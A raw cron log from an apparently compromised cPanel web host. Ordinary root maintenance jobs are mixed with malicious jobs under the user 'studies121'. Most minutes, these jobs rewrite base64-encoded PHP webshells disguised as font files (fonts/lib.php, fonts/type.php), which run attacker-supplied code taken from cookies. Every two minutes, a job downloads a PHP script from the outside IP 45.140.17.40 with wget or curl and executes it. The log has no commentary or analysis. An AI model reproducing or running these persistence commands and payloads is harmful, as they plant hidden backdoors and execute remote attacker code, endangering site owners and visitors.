Sep  4 08:45:01 ip-184-168-122-23 CROND[24138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:45:01 ip-184-168-122-23 CROND[24139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:45:01 ip-184-168-122-23 CROND[24137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:45:01 ip-184-168-122-23 CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:45:01 ip-184-168-122-23 CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:45:01 ip-184-168-122-23 CROND[24143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:45:01 ip-184-168-122-23 CROND[24136]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 08:46:01 ip-184-168-122-23 CROND[24290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:46:01 ip-184-168-122-23 CROND[24292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:46:01 ip-184-168-122-23 CROND[24296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:46:01 ip-184-168-122-23 CROND[24297]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 08:46:01 ip-184-168-122-23 CROND[24299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:46:01 ip-184-168-122-23 CROND[24300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:46:01 ip-184-168-122-23 CROND[24298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:47:01 ip-184-168-122-23 CROND[24421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:47:01 ip-184-168-122-23 CROND[24422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:47:01 ip-184-168-122-23 CROND[24423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:47:01 ip-184-168-122-23 CROND[24424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:48:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:48:01 ip-184-168-122-23 CROND[24519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:48:01 ip-184-168-122-23 CROND[24520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:48:01 ip-184-168-122-23 CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:48:01 ip-184-168-122-23 CROND[24517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:49:01 ip-184-168-122-23 CROND[24625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:49:01 ip-184-168-122-23 CROND[24629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:49:01 ip-184-168-122-23 CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:49:01 ip-184-168-122-23 CROND[24630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:50:01 ip-184-168-122-23 CROND[24750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:50:01 ip-184-168-122-23 CROND[24752]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:50:01 ip-184-168-122-23 CROND[24759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:51:01 ip-184-168-122-23 CROND[25021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:51:01 ip-184-168-122-23 CROND[25024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:51:01 ip-184-168-122-23 CROND[25023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:51:01 ip-184-168-122-23 CROND[25025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:52:01 ip-184-168-122-23 CROND[25124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:52:01 ip-184-168-122-23 CROND[25126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:52:01 ip-184-168-122-23 CROND[25127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:52:01 ip-184-168-122-23 CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:52:01 ip-184-168-122-23 CROND[25130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:53:01 ip-184-168-122-23 CROND[25232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:53:01 ip-184-168-122-23 CROND[25233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:53:01 ip-184-168-122-23 CROND[25234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:53:01 ip-184-168-122-23 CROND[25235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:54:01 ip-184-168-122-23 CROND[25356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:54:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:54:01 ip-184-168-122-23 CROND[25359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:54:01 ip-184-168-122-23 CROND[25360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:54:01 ip-184-168-122-23 CROND[25362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:55:01 ip-184-168-122-23 CROND[25457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:55:01 ip-184-168-122-23 CROND[25460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:55:01 ip-184-168-122-23 CROND[25459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:55:01 ip-184-168-122-23 CROND[25462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:55:01 ip-184-168-122-23 CROND[25463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:55:01 ip-184-168-122-23 CROND[25461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:56:01 ip-184-168-122-23 CROND[25643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:56:01 ip-184-168-122-23 CROND[25644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:56:01 ip-184-168-122-23 CROND[25647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:56:01 ip-184-168-122-23 CROND[25648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:56:01 ip-184-168-122-23 CROND[25650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:57:01 ip-184-168-122-23 CROND[25781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
